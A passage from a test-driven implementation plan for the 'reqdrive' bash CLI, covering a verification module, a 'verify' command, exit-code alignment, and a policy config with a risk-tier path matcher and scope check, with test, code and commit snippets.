s="$PH_ROOT/.reqdrive/runs/req-01/verification-summary.json" + jq -e '.version == "0.3.0"' "$s" > /dev/null + jq -e '.stories | has("total") and has("completed") and has("failed") and has("remaining")' "$s" > /dev/null + jq -e '.iterations | has("run") and has("max")' "$s" > /dev/null + jq -e '.iterations.max != null' "$s" > /dev/null + jq -e 'has("prd_present")' "$s" > /dev/null + jq -e '.tests | has("passed") and has("failed") and has("skipped")' "$s" > /dev/null + jq -e '.commits | has("verified") and has("missing")' "$s" > /dev/null +) +test_result "verification: summary keeps its full shape" $? +``` + +Run it now — it must PASS against the pre-extraction code. That is what makes it a characterization test. + +- [ ] **Step 2: Create the module** + +Create `lib/verification.sh` with the three functions, moving the logic from `lib/run.sh:1076-1149` verbatim except that locals become the documented `VERIFY_*` globals and `max_iterations` becomes a parameter. `verify_write_summary` writes to `"$summary.tmp"` then `mv`s it into place. In `merge` mode it reads the existing file first and preserves `iterations`, `tests` and `commits`, exiting 3 if the file does not exist. + +Start the file with `set -e` per the library convention, and source it from `lib/run.sh` next to the existing `lib/pr-create.sh` source. + +- [ ] **Step 3: Replace the Phase 3 block in `run_pipeline`** + +```bash + source "$REQDRIVE_ROOT/lib/verification.sh" + + verify_collect "$prd_file" "${REQDRIVE_MAX_STORY_RETRIES:-3}" + stories_total=$VERIFY_STORIES_TOTAL + stories_completed=$VERIFY_STORIES_COMPLETED + stories_failed=$VERIFY_STORIES_FAILED + final_remaining=$VERIFY_STORIES_REMAINING + prd_present=$VERIFY_PRD_PRESENT + + RUN_SUMMARY_STORIES_TOTAL=$stories_total + RUN_SUMMARY_STORIES_COMPLETED=$stories_completed + RUN_SUMMARY_STORIES_FAILED=$stories_failed + + verify_run_tests "$agent_dir" + case $? in + 0) verification_passed=true ;; + 1) verification_passed=false ;; + 2) verification_passed=null ;; + esac + RUN_SUMMARY_VERIFICATION_PASSED=$verification_passed + + verify_write_summary "$agent_dir" "$req_id" "$max_iterations" full +``` + +- [ ] **Step 4: Run the characterization assertion** + +Run: `bash tests/simple-test.sh 2>&1 | grep 'verification: summary keeps'` + +Expected: `PASS` — unchanged from Step 1. + +- [ ] **Step 5: Confirm the draft gate still works** + +Run: `bash tests/simple-test.sh 2>&1 | grep 'draft gate:'` + +Expected: all four PASS. The gate now reads `VERIFY_STORIES_REMAINING` and `VERIFY_PRD_PRESENT` through the local aliases assigned in Step 3. + +- [ ] **Step 6: Re-lock and commit** + +```bash +bash -n lib/verification.sh lib/run.sh +shellcheck lib/verification.sh lib/run.sh +bash tests/oracle-gate.sh --accept && bash tests/oracle-gate.sh +git add lib/verification.sh lib/run.sh tests/simple-test.sh tests/oracle.lock.json +git commit -m "refactor: extract the verification phase into lib/verification.sh + +Named verification.sh, not verify.sh, to stay distinct from the +archived archive/v1-complex/lib/verify.sh. + +max_iterations is an explicit parameter because it is a run_pipeline +local interpolated into the summary — without it a standalone caller +emits 'max: ' and malformed JSON that pr-create silently degrades to +'?'. verify_run_tests returns a tri-state because the draft gate must +distinguish 'not configured' from 'failed'." +``` + +--- + +### Task 30: Add `reqdrive verify ` + +**Files:** +- Modify: `bin/reqdrive` (new `cmd_verify`, dispatch label, option parsing), `lib/errors.sh`, `README.md` +- Modify: `tests/simple-test.sh`, `tests/oracle.lock.json` + +**Interfaces:** +- Consumes: `verify_collect`, `verify_run_tests`, `verify_write_summary` from Task 29. +- Produces: `reqdrive verify [--ref ]`. + +**Context:** This task adds **both** new exit codes — `EXIT_VERIFICATION_FAILED=9` and `EXIT_CONCURRENT_RUN=10`. The two exit-code assertions were renamed in Task 5 precisely so they stay truthful here; their bodies enumerate 0-8 and remain correct as a subset check. The doc-coverage rules from Tasks 20 and 22 will redden until `verify` and `--ref` are documented — that is the gate working, not a malfunction. + +- [ ] **Step 1: Write the failing assertions** + +```bash +echo "" +echo "--- Verify Command ---" + +# Test: verify re-runs verification and preserves the evidence trail +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/v-merge" + jq '.testCommand = "true"' "$PH_ROOT/reqdrive.json" > "$PH_ROOT/r.t" && mv "$PH_ROOT/r.t" "$PH_ROOT/reqdrive.json" + git -C "$PH_ROOT" add -A && git -C "$PH_ROOT" commit -q -m "chore: testCommand" + ph_fake_claude full + ph_fake_gh + ph_run REQ-01 > /dev/null + s="$PH_ROOT/.reqdrive/runs/req-01/verification-summary.json" + before_iters=$(jq '.iterations.run' "$s") + before_commits=$(jq '.commits.verified' "$s") + (cd "$PH_ROOT" && PATH="$PH_BIN:$PATH" "$REQDRIVE_ROOT/bin/reqdrive" verify REQ-01) + [ "$(jq '.iterations.run' "$s")" = "$before_iters" ] + [ "$(jq '.commits.verified' "$s")" = "$before_commits" ] +) +test_result "verify: merge mode preserves the evidence trail" $? + +# Test: verify exits 9 when the test command fails +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/v-fail" + jq '.testCommand = "true"' "$PH_ROOT/reqdrive.json" > "$PH_ROOT/r.t" && mv "$PH_ROOT/r.t" "$PH_ROOT/reqdrive.json" + git -C "$PH_ROOT" add -A && git -C "$PH_ROOT" commit -q -m "chore: testCommand" + ph_fake_claude full + ph_fake_gh + ph_run REQ-01 > /dev/null + jq '.testCommand = "false"' "$PH_ROOT/reqdrive.json" > "$PH_ROOT/r.t" && mv "$PH_ROOT/r.t" "$PH_ROOT/reqdrive.json" + rc=0 + (cd "$PH_ROOT" && PATH="$PH_BIN:$PATH" "$REQDRIVE_ROOT/bin/reqdrive" verify REQ-01) || rc=$? + [ "$rc" -eq 9 ] +) +test_result "verify: exits 9 when verification fails" $? + +# Test: verify exits 3 for an unknown REQ-ID +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/v-unknown" + rc=0 + out=$(cd "$PH_ROOT" && "$REQDRIVE_ROOT/bin/reqdrive" verify REQ-99 2>&1) || rc=$? + [ "$rc" -eq 3 ] + echo "$out" | grep -qi "req-99" +) +test_result "verify: exits 3 for an unknown REQ-ID" $? + +# Test: verify refuses while the run's PID is alive +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/v-live" + run_dir="$PH_ROOT/.reqdrive/runs/req-01" + mkdir -p "$run_dir" + echo '{"version":"0.3.0"}' > "$run_dir/verification-summary.json" + cat > "$run_dir/run.json" </dev/null 2>&1) || rc=$? + [ "$rc" -eq 10 ] +) +test_result "verify: exits 10 while the run PID is alive" $? + +# Test: new exit codes exist with messages +( + set -e + source "$REQDRIVE_ROOT/lib/errors.sh" + [ "$EXIT_VERIFICATION_FAILED" -eq 9 ] + [ "$EXIT_CONCURRENT_RUN" -eq 10 ] + [ -n "$(get_exit_message 9)" ] && [ "$(get_exit_message 9)" != "Unknown error" ] + [ -n "$(get_exit_message 10)" ] && [ "$(get_exit_message 10)" != "Unknown error" ] +) +test_result "errors: verification and concurrency codes are defined" $? +``` + +- [ ] **Step 2: Run to observe the red** + +Run: `bash tests/simple-test.sh 2>&1 | grep -E 'verify:|errors: verification'` + +Expected: all five FAIL. + +- [ ] **Step 3: Add the exit codes** + +In `lib/errors.sh`: + +```bash +export EXIT_VERIFICATION_FAILED=9 +export EXIT_CONCURRENT_RUN=10 +``` + +and add to `EXIT_MESSAGES`: + +```bash +EXIT_MESSAGES[9]="Verification failed" +EXIT_MESSAGES[10]="Another reqdrive run is active" +``` + +- [ ] **Step 4: Implement `cmd_verify`** + +In `bin/reqdrive`, add `cmd_verify` and a `verify)` dispatch label. The function must: + +1. Resolve the run directory from the REQ-ID slug; exit `EXIT_CONFIG_ERROR` naming the path if it or `verification-summary.json` is absent. +2. Read `run.json`'s `pid`; if `kill -0 "$pid" 2>/dev/null` succeeds, exit `EXIT_CONCURRENT_RUN`. +3. Compare the current branch against `checkpoint.json`'s `branch`; if they differ and no `--ref ` was given, exit `EXIT_GIT_ERROR` (4) explaining the mismatch. With `--ref`, check out that ref first. +4. Source `lib/verification.sh`, call `verify_collect`, `verify_run_tests`, then `verify_write_summary "$agent_dir" "$req_id" "$max_iterations" merge` — reading `max_iterations` from the existing summary's `.iterations.max`. +5. Exit `0` when `verify_run_tests` returned 0, `EXIT_VERIFICATION_FAILED` when it returned 1, and `0` with the "not configured" message when it returned 2. + +Parse `--ref` in `cmd_verify`'s own option loop, matching the style of the existing `cmd_run` loop. + +- [ ] **Step 5: Run to verify green** + +Run: `bash tests/simple-test.sh 2>&1 | grep -E 'verify:|errors: verification|docs:'` + +Expected: the five verify assertions PASS, and **`docs: every CLI command...` and `docs: every CLI flag...` now FAIL** — the coverage gates firing on the new surface exactly as designed. + +- [ ] **Step 6: Document the command and flag** + +Add to `README.md`'s Commands table: + +```markdown +| `reqdrive verify ` | Re-run verification for an existing run and update its `verification-summary.json` in place. Exits 0 on pass, 9 on failure, 3 if the run or its summary is missing, 4 on branch mismatch, 10 while the run is still active. | +``` + +and to the Run Options table: + +```markdown +| `--ref ` | `reqdrive verify` only. Verify against `` instead of refusing when the checkout does not match the run's recorded branch. Without it, verifying after the branch was merged and deleted would record an unrelated tree's result as that run's evidence. | +``` + +- [ ] **Step 7: Run everything green** + +Run: `bash tests/simple-test.sh 2>&1 | tail -4` + +Expected: all green, 0 failed. + +- [ ] **Step 8: Re-lock and commit** + +```bash +bash -n bin/reqdrive lib/errors.sh +shellcheck bin/reqdrive lib/errors.sh +bash tests/oracle-gate.sh --accept && bash tests/oracle-gate.sh +git add bin/reqdrive lib/errors.sh README.md tests/simple-test.sh tests/oracle.lock.json +git commit -m "feat: add reqdrive verify + +Merge mode, so re-verifying preserves iterations/tests/commits — the +evidence trail pr-create renders into the PR table. Refuses when the +checkout does not match the run's branch unless --ref is given, and +while the run's PID is still alive. + +Adds EXIT_VERIFICATION_FAILED=9 and EXIT_CONCURRENT_RUN=10. The two +exit-code assertions were renamed in P0 for exactly this moment; their +bodies enumerate 0-8 and stay correct as a subset check. + +The doc-coverage gates reddened on both the new command and the new +flag until README documented them, which is the gate working." +``` + +--- + +**P6 exit gate.** + +```bash +bash tests/simple-test.sh # all green +bash tests/oracle-gate.sh # OK +bash tests/gate-selftest.sh # 5 passed +bats tests/unit tests/e2e # all pass +bats --formatter tap tests/e2e | grep -c '# skip' # 0 +``` + +--- + +# Phase P7 — Policy cluster + +The last three Tier 2 items: a `policy` object in `reqdrive.json`, risk tiers by path, and the scope check. Shipped **warn-only by default** with `"scopeCheck": "block"` available — this resolves the contradiction between the roadmap ("promote to hard gate") and the architectural principle ("warn before enforce, don't make things strict without data"). The knob puts the hard gate one config edit away, and warn-mode data is what would justify flipping the default later. + +--- + +### Task 31: Align validation exit codes + +**Files:** +- Modify: `lib/validate.sh:16,70`, `bin/reqdrive` (`cmd_validate`) +- Modify: `tests/simple-test.sh`, `tests/FINDINGS.md`, `tests/oracle.lock.json` + +**Interfaces:** +- Consumes: `EXIT_CONFIG_ERROR` from `lib/errors.sh`. +- Produces: `reqdrive validate` exiting 3 on any validation failure. Task 32 relies on this for the malformed-`policy` case. + +**Context:** `lib/validate.sh:16` and `:70` are bare `exit 1`, and nothing in the file references `EXIT_CONFIG_ERROR`. Task 32 would otherwise make `policy` the only config field whose malformation exits 3 while every other field exits 1. The existing assertion at `tests/simple-test.sh:346-356` checks only `-ne 0`, so it stays green either way — that weakness is finding **F5** in the register, and this task closes it. + +- [ ] **Step 1: Write the failing assertion** + +```bash +# Test: validate exits with EXIT_CONFIG_ERROR on a malformed config +( + set -e + cd "$TEST_TEMP" + mkdir -p vex && cd vex + echo 'not json at all' > reqdrive.json + rc=0 + "$REQDRIVE_ROOT/bin/reqdrive" validate > /dev/null 2>&1 || rc=$? + [ "$rc" -eq 3 ] +) +test_result "validate: exits 3 (EXIT_CONFIG_ERROR) on malformed config" $? + +# Test: validate exits 3 on a type violation +( + set -e + cd "$TEST_TEMP" + mkdir -p vex2 && cd vex2 + echo '{"maxIterations":"ten"}' > reqdrive.json + rc=0 + "$REQDRIVE_ROOT/bin/reqdrive" validate > /dev/null 2>&1 || rc=$? + [ "$rc" -eq 3 ] +) +test_result "validate: exits 3 on a config type violation" $? +``` + +- [ ] **Step 2: Run to observe the red** + +Run: `bash tests/simple-test.sh 2>&1 | grep 'validate: exits 3'` + +Expected: both FAIL — the current code exits 1. + +- [ ] **Step 3: Replace the bare exits** + +In `lib/validate.sh`, source `lib/errors.sh` if it is not already sourced, then change both `exit 1` occurrences (lines 16 and 70) to: + +```bash + exit "$EXIT_CONFIG_ERROR" +``` + +In `bin/reqdrive`'s `cmd_validate`, change its bare `exit 1` to `exit "$EXIT_CONFIG_ERROR"` as well. + +- [ ] **Step 4: Run to verify green** + +Run: `bash tests/simple-test.sh 2>&1 | grep -E 'validate:|^FAIL'` + +Expected: both new assertions PASS, and the pre-existing validation assertions still PASS. + +- [ ] **Step 5: Close finding F5** + +In `tests/FINDINGS.md`, move F5 from the Open table to the Closed table with a note naming this task and the two new assertions that pin the code. + +- [ ] **Step 6: Re-lock and commit** + +```bash +bash -n lib/validate.sh bin/reqdrive +shellcheck lib/validate.sh bin/reqdrive +bash tests/oracle-gate.sh --accept && bash tests/oracle-gate.sh +git add lib/validate.sh bin/reqdrive tests/simple-test.sh tests/FINDINGS.md tests/oracle.lock.json +git commit -m "fix: validate exits EXIT_CONFIG_ERROR rather than a bare 1 + +The existing assertion checked only -ne 0, so the code was never +pinned (finding F5). Aligning it now keeps the policy object from +becoming the only field whose malformation exits 3." +``` + +--- + +### Task 32: Add the `policy` config object + +**Files:** +- Modify: `lib/schema.sh` (validation), `lib/config.sh` (loading), `README.md` +- Modify: `tests/simple-test.sh`, `tests/oracle.lock.json` +- Modify: `templates/reqdrive.json.example` + +**Interfaces:** +- Consumes: `EXIT_CONFIG_ERROR` alignment from Task 31. +- Produces: `REQDRIVE_POLICY_SCOPE_CHECK` (`warn`|`block`) and `REQDRIVE_POLICY_JSON` (the raw `policy` object, or `{}`), both exported by `reqdrive_load_config`. Tasks 33 and 34 consume them. + +**Context:** Policy lives as a key inside `reqdrive.json` rather than a separate `.reqdrive/policy.json` — one file, one loader, one schema validator, one `validate` path. **`reqdrive_load_config` is deliberately not changed to schema-validate**: wiring `validate_config_schema` into config load would newly reject configs that work today and put `US-CFG-04`/`US-CFG-05` and every minimal fixture at risk. That stays a recorded deferral. + +- [ ] **Step 1: Write the failing assertions** + +```bash +echo "" +echo "--- Policy Config ---" + +# Test: a well-formed policy object validates +( + set -e + cd "$TEST_TEMP" && mkdir -p pol-ok && cd pol-ok + cat > reqdrive.json <<'EOF' +{"version":"0.3.0","policy":{"riskTiers":{"high":["src/auth"],"low":["docs"]},"scopeCheck":"warn"}} +EOF + "$REQDRIVE_ROOT/bin/reqdrive" validate > /dev/null 2>&1 +) +test_result "policy: a well-formed policy object validates" $? + +# Test: an invalid scopeCheck value is rejected +( + set -e + cd "$TEST_TEMP" && mkdir -p pol-bad && cd pol-bad + cat > reqdrive.json <<'EOF' +{"version":"0.3.0","policy":{"scopeCheck":"maybe"}} +EOF + rc=0 + out=$("$REQDRIVE_ROOT/bin/reqdrive" validate 2>&1) || rc=$? + [ "$rc" -eq 3 ] + echo "$out" | grep -q "scopeCheck" +) +test_result "policy: rejects an invalid scopeCheck value" $? + +# Test: riskTiers must map tier names to arrays +( + set -e + cd "$TEST_TEMP" && mkdir -p pol-tiers && cd pol-tiers + cat > reqdrive.json <<'EOF' +{"version":"0.3.0","policy":{"riskTiers":{"high":"src/auth"}}} +EOF + rc=0 + out=$("$REQDRIVE_ROOT/bin/reqdrive" validate 2>&1) || rc=$? + [ "$rc" -eq 3 ] + echo "$out" | grep -q "riskTiers" +) +test_result "policy: rejects a non-array risk tier" $? + +# Test: scopeCheck defaults to warn when policy is absent +( + set -e + cd "$TEST_TEMP" && mkdir -p pol-default && cd pol-default + echo '{"version":"0.3.0"}' > reqdrive.json + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/schema.sh" + source "$REQDRIVE_ROOT/lib/config.sh" + reqdrive_load_config + [ "$REQDRIVE_POLICY_SCOPE_CHECK" = "warn" ] + [ "$REQDRIVE_POLICY_JSON" = "{}" ] +) +test_result "policy: scopeCheck defaults to warn when absent" $? +``` + +- [ ] **Step 2: Run to observe the red** + +Run: `bash tests/simple-test.sh 2>&1 | grep 'policy:'` + +Expected: all four FAIL. + +- [ ] **Step 3: Extend `validate_config_schema`** + +In `lib/schema.sh`, inside `validate_config_schema`, after the existing field checks: + +```bash + # policy (optional object) + if jq -e 'has("policy")' "$config_file" > /dev/null 2>&1; then + if ! jq -e '.policy | type == "object"' "$config_file" > /dev/null 2>&1; then + echo "[SCHEMA] policy must be an object" >&2 + errors=$((errors + 1)) + else + if jq -e '.policy | has("scopeCheck")' "$config_file" > /dev/null 2>&1; then + local sc + sc=$(jq -r '.policy.scopeCheck' "$config_file") + case "$sc" in + warn|block) ;; + *) echo "[SCHEMA] policy.scopeCheck must be \"warn\" or \"block\" (got \"$sc\")" >&2 + errors=$((errors + 1)) ;; + esac + fi + if jq -e '.policy | has("riskTiers")' "$config_file" > /dev/null 2>&1; then + if ! jq -e '.policy.riskTiers | type == "object"' "$config_file" > /dev/null 2>&1; then + echo "[SCHEMA] policy.riskTiers must be an object" >&2 + errors=$((errors + 1)) + elif ! jq -e '[.policy.riskTiers[] | type == "array"] | all' "$config_file" > /dev/null 2>&1; then + echo "[SCHEMA] policy.riskTiers values must be arrays of path prefixes" >&2 + errors=$((errors + 1)) + fi + fi + fi + fi +``` + +Match the surrounding code's existing error-counting variable name if it differs from `errors`. + +- [ ] **Step 4: Load the policy in `lib/config.sh`** + +```bash + REQDRIVE_POLICY_JSON=$(jq -c '.policy // {}' "$REQDRIVE_MANIFEST") + REQDRIVE_POLICY_SCOPE_CHECK=$(jq -r '.policy.scopeCheck // "warn"' "$REQDRIVE_MANIFEST") + export REQDRIVE_POLICY_JSON REQDRIVE_POLICY_SCOPE_CHECK +``` + +- [ ] **Step 5: Run to verify green, then watch the doc gate fire** + +Run: `bash tests/simple-test.sh 2>&1 | grep -E 'policy:|docs: every config'` + +Expected: the four policy assertions PASS and `docs: every config field is documented in README` FAILs on `policy` — the coverage gate from Task 21 doing its job. + +- [ ] **Step 6: Document `policy` and update the example config** + +Add to `README.md`'s configuration table: + +```markdown +| `policy` | `{}` | object | Evidence policy. `policy.riskTiers` maps tier names (`high`, `medium`, `low`) to arrays of path prefixes; `policy.scopeCheck` is `"warn"` (default) or `"block"`. See [Risk tiers and scope checking](#risk-tiers-and-scope-checking). | +``` + +Add a README section explaining prefix-directory matching (Task 33 defines the exact semantics — write it after that task if you prefer, but the field must be named here for the gate to pass). Add the same block to `templates/reqdrive.json.example`, commented as optional. + +- [ ] **Step 7: Re-lock and commit** + +```bash +bash -n lib/schema.sh lib/config.sh +shellcheck lib/schema.sh lib/config.sh +bash tests/oracle-gate.sh --accept && bash tests/oracle-gate.sh +git add lib/schema.sh lib/config.sh README.md templates/reqdrive.json.example \ + tests/simple-test.sh tests/oracle.lock.json +git commit -m "feat: add the policy config object with schema validation + +Lives inside reqdrive.json rather than a separate policy.json — one +file, one loader, one validator, one validate path. + +reqdrive_load_config still does not schema-validate: wiring +validate_config_schema into config load would newly reject configs +that work today and put US-CFG-04/05 and every minimal fixture at +risk. That stays deferred." +``` + +--- + +### Task 33: Implement the risk-tier path matcher + +**Files:** +- Create: `lib/policy.sh` +- Modify: `tests/simple-test.sh`, `tests/oracle.lock.json` +- Modify: `.github/workflows/ci.yml` is not needed — `lib/*.sh` is already globbed by lint and syntax-check. + +**Interfaces:** +- Consumes: `REQDRIVE_POLICY_JSON` from Task 32. +- Produces: + - `policy_tier_for_path ` — prints `high`, `medium`, `low`, or `none`. Highest tier wins when a path matches more than one. + - `policy_classify_paths ...` — prints `TIERPATH` per input. + +**Context — why not `**`:** in `[[ ]]` pattern matching, `globstar` does not apply. Measured: `[[ src/api/a/b.ts == src/api/** ]]` matches **and** `[[ src/api/a/b.ts == src/api/* ]]` matches — `**` and `*` are indistinguishable there, and both cross `/`. Worse, `[[ src/auth == src/auth/** ]]` does **not** match the directory itself. So a config written as `"high": ["src/auth/**"]` would silently fail to cover `src/auth`. Patterns are therefore **bare prefixes** with explicit semantics: a path matches a pattern when `path == pattern` **or** `path` begins with `pattern/`. That also means `src/auth.sh` must **not** match `src/auth`, which is the sibling-prefix trap. + +- [ ] **Step 1: Write the failing assertions** + +```bash +echo "" +echo "--- Policy Matcher ---" + +( + set -e + export REQDRIVE_POLICY_JSON='{"riskTiers":{"high":["src/auth"],"medium":["src/api"],"low":["docs"]}}' + source "$REQDRIVE_ROOT/lib/policy.sh" + [ "$(policy_tier_for_path 'src/auth/login.ts')" = "high" ] # nested descendant + [ "$(policy_tier_for_path 'src/auth')" = "high" ] # the tier directory itself + [ "$(policy_tier_for_path 'src/api/v1/users.ts')" = "medium" ] + [ "$(policy_tier_for_path 'docs/README.md')" = "low" ] + [ "$(policy_tier_for_path 'src/util/math.ts')" = "none" ] # no match +) +test_result "policy: matcher classifies paths by tier" $? + +( + set -e + export REQDRIVE_POLICY_JSON='{"riskTiers":{"high":["src/auth"]}}' + source "$REQDRIVE_ROOT/lib/policy.sh" + # A sibling that merely shares the prefix must NOT match. + [ "$(policy_tier_for_path 'src/auth.sh')" = "none" ] + [ "$(policy_tier_for_path 'src/authorization/x.ts')" = "none" ] +) +test_result "policy: a prefix-sharing sibling does not match" $? + +( + set -e + # src/auth/keys is in both high and low; highest must win. + export REQDRIVE_POLICY_JSON='{"riskTiers":{"high":["src/auth"],"low":["src/auth/keys"]}}' + source "$REQDRIVE_ROOT/lib/policy.sh" + [ "$(policy_tier_for_path 'src/auth/keys/rsa.pem')" = "high" ] +) +test_result "policy: highest tier wins when a path matches two" $? + +( + set -e + export REQDRIVE_POLICY_JSON='{}' + source "$REQDRIVE_ROOT/lib/policy.sh" + [ "$(policy_tier_for_path 'src/auth/login.ts')" = "none" ] +) +test_result "policy: no riskTiers means every path is untiered" $? +``` + +- [ ] **Step 2: Run to observe the red** + +Run: `bash tests/simple-test.sh 2>&1 | grep 'policy: matcher\|policy: a prefix\|policy: highest\|policy: no riskTiers'` + +Expected: all four FAIL — `lib/policy.sh` does not exist. + +- [ ] **Step 3: Write the matcher** + +Create `lib/policy.sh`: + +```bash +#!/usr/bin/env bash +# Risk-tier path classification. +# +# Patterns are bare path prefixes, not globs. A path matches a pattern when +# it equals the pattern or begins with "/". Globs are deliberately +# not used: inside [[ ]] bash does not honour globstar, so ** and * are +# indistinguishable and both cross "/", while "src/auth/**" fails to match +# "src/auth" itself. Prefix semantics are what a reader expects and what the +# tests can pin. +set -e + +# policy_tier_for_path -> high | medium | low | none +policy_tier_for_path() { + local path="$1" + local policy="${REQDRIVE_POLICY_JSON:-{\}}" + local tier pattern + + # Highest tier wins, so probe in descending order of risk. + for tier in high medium low; do + while IFS= read -r pattern; do + [ -n "$pattern" ] || continue + if [ "$path" = "$pattern" ] || [ "${path#"$pattern"/}" != "$path" ]; then + printf '%s\n' "$tier" + return 0 + fi + done < <(printf '%s' "$policy" | jq -r --arg t "$tier" '.riskTiers[$t][]? // empty' 2>/dev/null) + done + + printf 'none\n' +} + +# policy_classify_paths ... -> "TIERPATH" per line +policy_classify_paths() { + local p + for p in "$@"; do + printf '%s\t%s\n' "$(policy_tier_for_path "$p")" "$p" + done +} +``` + +`${path#"$pattern"/}` strips the prefix plus a separator; if the result differs from the input, the prefix matched at a directory boundary — which is exactly why `src/auth.sh` does not match `src/auth`. + +- [ ] **Step 4: Run to verify green** + +Run: `bash tests/simple-test.sh 2>&1 | grep 'policy:'` + +Expected: all eight policy assertions PASS. + +- [ ] **Step 5: Re-lock and commit** + +```bash +bash -n lib/policy.sh && shellcheck lib/policy.sh +bash tests/oracle-gate.sh --accept && bash tests/oracle-gate.sh +git add lib/policy.sh tests/simple-test.sh tests/oracle.lock.json +git commit -m "feat: add risk-tier path matching with prefix semantics + +Not globs: inside [[ ]] bash ignores globstar, so ** and * are +indistinguishable and both cross '/', while 'src/auth/**' does not +match 'src/auth' itself. Bare prefixes with an explicit boundary +check mean src/auth.sh does not match src/auth — the trap a glob +would have hidden." +``` + +--- + +### Task 34: Wire the scope check into the pipeline + +**Files:** +- Modify: `lib/run.sh` (implementation loop), `lib/pr-create.sh` (PR body) +- Modify: `tests/simple-test.sh`, `README.md`, `tests/oracle.lock.json` + +**Interfaces:** +- Consumes: `policy_classify_paths` from Task 33, `REQDRIVE_POLICY_SCOPE_CHECK` from Task 32. +- Produces: `policy_scope_check ` in `lib/policy.sh`, returning 0 to continue or 1 to abort. + +**Context:** The violation condition is **a high-risk path touched in an iteration whose `testCommand` run did not pass**. Under `warn` the finding is logged, recorded in the checkpoint, and rendered into the PR body; the exit code is unchanged. Under `block` the iteration aborts with `EXIT_PREFLIGHT_FAILED` (8) — it is a policy pre-condition, so it reuses the existing code rather than inventing one. + +- [ ] **Step 1: Write the failing assertions** + +```bash +echo "" +echo "--- Scope Check ---" + +# Test: warn mode records a finding and does not abort +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/sc-warn" + jq '.policy = {"riskTiers":{"high":["MARKER.txt"]},"scopeCheck":"warn"}' \ + "$PH_ROOT/reqdrive.json" > "$PH_ROOT/r.t" && mv "$PH_ROOT/r.t" "$PH_ROOT/reqdrive.json" + git -C "$PH_ROOT" add -A && git -C "$PH_ROOT" commit -q -m "chore: policy" + ph_fake_claude full + ph_fake_gh + rc=$(ph_run REQ-01) + [ "$rc" = "0" ] + grep -qi "high-risk" "$PH_ROOT/run.log" +) +test_result "scope: warn mode logs a finding and continues" $? + +# Test: block mode aborts with EXIT_PREFLIGHT_FAILED +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/sc-block" + jq '.policy = {"riskTiers":{"high":["MARKER.txt"]},"scopeCheck":"block"}' \ + "$PH_ROOT/reqdrive.json" > "$PH_ROOT/r.t" && mv "$PH_ROOT/r.t" "$PH_ROOT/reqdrive.json" + git -C "$PH_ROOT" add -A && git -C "$PH_ROOT" commit -q -m "chore: policy" + ph_fake_claude full + ph_fake_gh + rc=$(ph_run REQ-01) + [ "$rc" = "8" ] +) +test_result "scope: block mode aborts with EXIT_PREFLIGHT_FAILED" $? + +# Test: no policy means no scope finding at all +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/sc-none" + ph_fake_claude full + ph_fake_gh + rc=$(ph_run REQ-01) + [ "$rc" = "0" ] + ! grep -qi "high-risk" "$PH_ROOT/run.log" +) +test_result "scope: absent policy produces no findings" $? +``` + +- [ ] **Step 2: Run to observe the red** + +Run: `bash tests/simple-test.sh 2>&1 | grep 'scope:'` + +Expected: the warn and block assertions FAIL; the absent-policy assertion PASSES already (nothing emits "high-risk" yet), which is the control proving the feature is genuinely off by default. + +- [ ] **Step 3: Add the scope check to `lib/policy.sh`** + +```bash +# policy_scope_check +# Returns 0 to continue, 1 when block mode must abort. +policy_scope_check() { + local agent_dir="$1" iteration="$2" tests_passed="$3" + local mode="${REQDRIVE_POLICY_SCOPE_CHECK:-warn}" + local findings_file="$agent_dir/scope-findings.txt" + + local changed + changed=$(git diff --name-only HEAD~1 HEAD 2>/dev/null || echo "") + [ -n "$changed" ] || return 0 + + local violations="" + while IFS=$'\t' read -r tier path; do + [ "$tier" = "high" ] || continue + [ "$tests_passed" = "1" ] && continue + violations="$violations $path" + done < <(policy_classify_paths $changed) + + [ -n "$violations" ] || return 0 + + echo "iteration $iteration: high-risk paths changed without a passing test run:$violations" \ + >> "$findings_file" + + if [ "$mode" = "block" ]; then + echo "[ERROR] Scope check: high-risk paths changed without a passing test run:$violations" >&2 + return 1 + fi + echo "[WARN] Scope check: high-risk paths changed without a passing test run:$violations" >&2 + return 0 +} +``` + +- [ ] **Step 4: Call it from the implementation loop** + +In `lib/run.sh`, immediately after the commit-verification block (around `lib/run.sh:1030-1038`), add: + +```bash + source "$REQDRIVE_ROOT/lib/policy.sh" + local iter_tests_passed=0 + [ -n "${REQDRIVE_TEST_COMMAND:-}" ] && [ -f "$agent_dir/iteration-$i.test.log" ] \ + && grep -q . "$agent_dir/iteration-$i.test.log" && iter_tests_passed=1 + if ! policy_scope_check "$agent_dir" "$i" "$iter_tests_passed"; then + write_run_status "$agent_dir" "failed" "$req_id" "$i" "$EXIT_PREFLIGHT_FAILED" + run_completion_hook "$req_id" "failed" "" "$branch" "$EXIT_PREFLIGHT_FAILED" + exit "$EXIT_PREFLIGHT_FAILED" + fi +``` + +Set `iter_tests_passed=1` from the same signal the loop already computes for `RUN_SUMMARY_TESTS_PASSED` rather than re-deriving it from the log — replace the `grep` heuristic above with that variable if the loop exposes it directly. + +- [ ] **Step 5: Render findings into the PR body** + +In `lib/pr-create.sh`, if `$agent_dir/scope-findings.txt` exists and is non-empty, append a `### Scope findings` section listing each line. Warn-mode findings must be visible in the PR, matching the existing review phase's warn-only contract. + +- [ ] **Step 6: Run to verify green** + +Run: `bash tests/simple-test.sh 2>&1 | grep -E 'scope:|draft gate:|^FAIL'` + +Expected: all three scope assertions PASS, all four draft-gate assertions still PASS, no `FAIL:` lines. + +- [ ] **Step 7: Document the behavior** + +Complete the "Risk tiers and scope checking" README section referenced in Task 32: prefix semantics, the two modes, the violation condition, and that `warn` is the default because the hard gate has no false-positive data behind it yet. + +- [ ] **Step 8: Re-lock and commit** + +```bash +bash -n lib/policy.sh lib/run.sh lib/pr-create.sh +shellcheck lib/policy.sh 